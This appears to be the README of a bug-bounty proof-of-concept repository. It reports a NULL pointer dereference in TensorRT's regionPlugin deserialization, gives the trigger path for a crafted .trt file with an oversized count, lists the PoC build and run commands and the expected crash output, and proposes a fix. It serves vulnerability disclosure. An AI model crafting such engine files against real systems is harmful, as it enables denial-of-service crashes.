ericblackgachara/tensorrt-poc

TensorRT regionPlugin — NULL Pointer Dereference

Target

Field	Value
Repository	https://github.com/NVIDIA/TensorRT
Platform	huntr.com
Max payout	$4,000
Affected file	plugin/regionPlugin/regionPlugin.cpp
Affected lines	allocateChunk template (38–42), deserialization ctor (93–227), loop (152–168)

Vulnerability

allocateChunk<T>() calls malloc(count * sizeof(T)) with no NULL check on the return value. The count parameter (smTreeTemp->n) is read directly from an attacker-controlled deserialization buffer with no bounds validation.

Crafting a .trt engine file with softmaxTree.n = INT32_MAX causes:

1. malloc(8,589,934,588) → fails → returns NULL
2. Loop: smTreeTemp->leaf[0] → WRITE to address 0x0 → SIGSEGV

Root Cause Snippet

// regionPlugin.cpp:38-42 — BUG
template <typename T>
void allocateChunk(T*& ptr, int32_t count)
{
    ptr = static_cast<T*>(malloc(count * sizeof(T)));
    // ← no NULL check here
}

// regionPlugin.cpp:117, 121 — attacker-controlled n flows into allocateChunk
smTreeTemp->n = read<int32_t>(d);              // ← 0x7FFFFFFF from crafted buffer
allocateChunk(smTreeTemp->leaf, smTreeTemp->n); // malloc(8.5 GB) → NULL

// regionPlugin.cpp:156 — NULL dereference
smTreeTemp->leaf[i] = read<int32_t>(d);        // WRITE to 0x0 → SIGSEGV

Trigger Path

crafted .trt file
  → Runtime.deserialize_cuda_engine(data)
  → RegionPluginCreator::deserializePlugin(name, serialData, serialLength)
  → new Region(serialData, serialLength)              [regionPlugin.cpp:93]
  → allocateChunk(smTreeTemp->leaf, INT32_MAX)        [regionPlugin.cpp:121]
  → malloc(8,589,934,588) returns NULL
  → smTreeTemp->leaf[0] = read<int32_t>(d)           [regionPlugin.cpp:156]
  → SIGSEGV

Reproduction

# Compile (no CUDA, no GPU, no TensorRT required)
g++ -std=c++17 -O0 -o poc_tensorrt poc_tensorrt.cpp

# Run
./poc_tensorrt

Expected output:

[*] n = 2147483647 (0x7FFFFFFF)
[*] malloc requested: 8589934588 bytes (8.0 GB)
[*] leaf ptr after allocateChunk: (nil)
[!] malloc FAILED — leaf is NULL
[!] Entering loop — crash on first iteration...
Segmentation fault (core dumped)   [exit 139 / SIGSEGV]

ASAN confirmation:

g++ -std=c++17 -O0 -g -fsanitize=address -o poc_tensorrt_asan poc_tensorrt.cpp
ASAN_OPTIONS=allocator_may_return_null=1 ./poc_tensorrt_asan
# ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000
# The signal is caused by a WRITE memory access.
# Hint: address points to the zero page.
#   #0 in trigger_deserialize poc_tensorrt.cpp:187

Suggested Fix

template <typename T>
void allocateChunk(T*& ptr, int32_t count)
{
    ptr = static_cast<T*>(malloc(count * sizeof(T)));
    PLUGIN_VALIDATE(ptr != nullptr);   // ADD THIS
}

All 9 call sites in the deserialization constructor are fixed by patching the template.

Files

File	Description
poc_tensorrt.cpp	Self-contained C++ PoC — compiles with g++, no CUDA
report.md	Full huntr-format vulnerability report
poc-evidence.html	HTML evidence page with terminal output and ASAN backtrace
README.md	This file